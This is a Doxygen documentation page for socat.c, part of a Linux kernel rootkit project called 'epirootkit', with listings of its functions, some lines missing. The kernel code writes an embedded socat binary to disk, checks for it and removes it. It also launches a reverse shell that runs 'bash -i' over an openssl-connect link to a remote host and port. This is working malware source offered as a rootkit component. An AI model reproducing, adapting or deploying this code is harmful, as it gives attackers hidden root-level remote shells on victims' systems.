#include "socat.h"
#include <linux/completion.h>
#include <linux/err.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/kthread.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include "epirootkit.h"
Go to the source code of this file.
◆ drop_socat_binaire()
| int drop_socat_binaire |
( |
void |
| ) |
|
Drops the socat binary at the specified path.
- Returns
- SUCCESS on success, negative error code on failure.
Definition at line 32 of file socat.c.
32 {
34 DBG_MSG(
"drop_socat_binaire: socat binary already dropped\n");
36 }
37
39 loff_t pos = 0;
40
42 if (IS_ERR(f)) {
43 ERR_MSG(
"drop_socat_binaire: failed to open file: %ld\n", PTR_ERR(f));
45 }
46
47 unsigned int written = kernel_write(f,
socat, socat_len, &pos);
48 if (written < 0) {
49 ERR_MSG(
"drop_socat_binaire: kernel_write failed: %u\n", written);
50 filp_close(f, NULL);
52 }
53 else if (written < socat_len) {
54 ERR_MSG(
"drop_socat_binaire: only %u bytes written, expected %u\n", written,
55 socat_len);
56 filp_close(f, NULL);
58 }
59 else {
60 DBG_MSG(
"socat written successfully (%u bytes)\n", written);
61 }
62
63 filp_close(f, NULL);
64
66}
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
#define SOCAT_BINARY_PATH
static struct dentry * file
static int is_socat_binaire_dropped(void)
◆ is_socat_binaire_dropped()
| static int is_socat_binaire_dropped |
( |
void |
| ) |
|
|
static |
Checks if the socat binary has been dropped (exists at SOCAT_BINARY_PATH).
- Returns
- true if the socat binary exists at the specified path, false otherwise.
Definition at line 19 of file socat.c.
19 {
22 if (IS_ERR(f))
23 return false;
24 filp_close(f, NULL);
25 return true;
26}
◆ launch_reverse_shell()
| int launch_reverse_shell |
( |
char * |
args | ) |
|
Definition at line 83 of file socat.c.
83 {
85 ERR_MSG(
"launch_reverse_shell: socat binary not dropped\n");
87 }
88
90
91
92 if (args && strlen(args) > 0)
93 port = simple_strtol(args, NULL, 10);
94
95
96 char cmd[256];
97 snprintf(cmd, sizeof(cmd),
98 "%s exec:'bash -i',pty,stderr,setsid,sigint,sane "
99 "openssl-connect:%s:%d,verify=0 &",
101
102
104
105 if (ret_code < 0) {
106 ERR_MSG(
"launch_reverse_shell: failed to start reverse shell on port %d\n",
108 return ret_code;
109 }
110
111 DBG_MSG(
"launch_reverse_shell: reverse shell started on port %d\n",
port);
113}
#define REVERSE_SHELL_PORT
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
◆ remove_socat_binaire()
| int remove_socat_binaire |
( |
void |
| ) |
|
Removes the socat binary from the specified path.
- Returns
- SUCCESS on success, negative error code on failure.
Definition at line 72 of file socat.c.
72 {
75 ERR_MSG(
"remove_socat_binaire: failed to remove socat binary\n");
77 }
78 DBG_MSG(
"remove_socat_binaire: socat binary removed successfully\n");
80}
#define exec_str_as_command(user_cmd, catch_stds)